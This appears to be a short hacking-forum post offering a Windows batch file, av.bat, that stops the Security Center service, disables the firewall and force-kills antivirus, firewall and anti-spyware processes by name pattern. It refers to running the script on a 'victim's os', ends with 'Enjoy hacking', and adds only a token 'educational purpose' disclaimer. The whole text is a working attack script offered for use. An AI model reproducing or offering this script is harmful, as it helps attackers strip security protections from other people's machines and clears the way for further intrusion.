Please save below code in notepad and save as av.bat whatever you like
@echo off
rem --
rem Permamanently Kill Anti-Virus
net stop "Security Center"
netsh firewall set opmode mode=disable
tskill /A av*
tskill /A fire*
tskill /A anti*
cls
tskill /A spy*
tskill /A bullguard
Note- if tskill command wont work on victim's os then replace it with taskkill
Enjoy hacking
Warning- this is only educational purpose...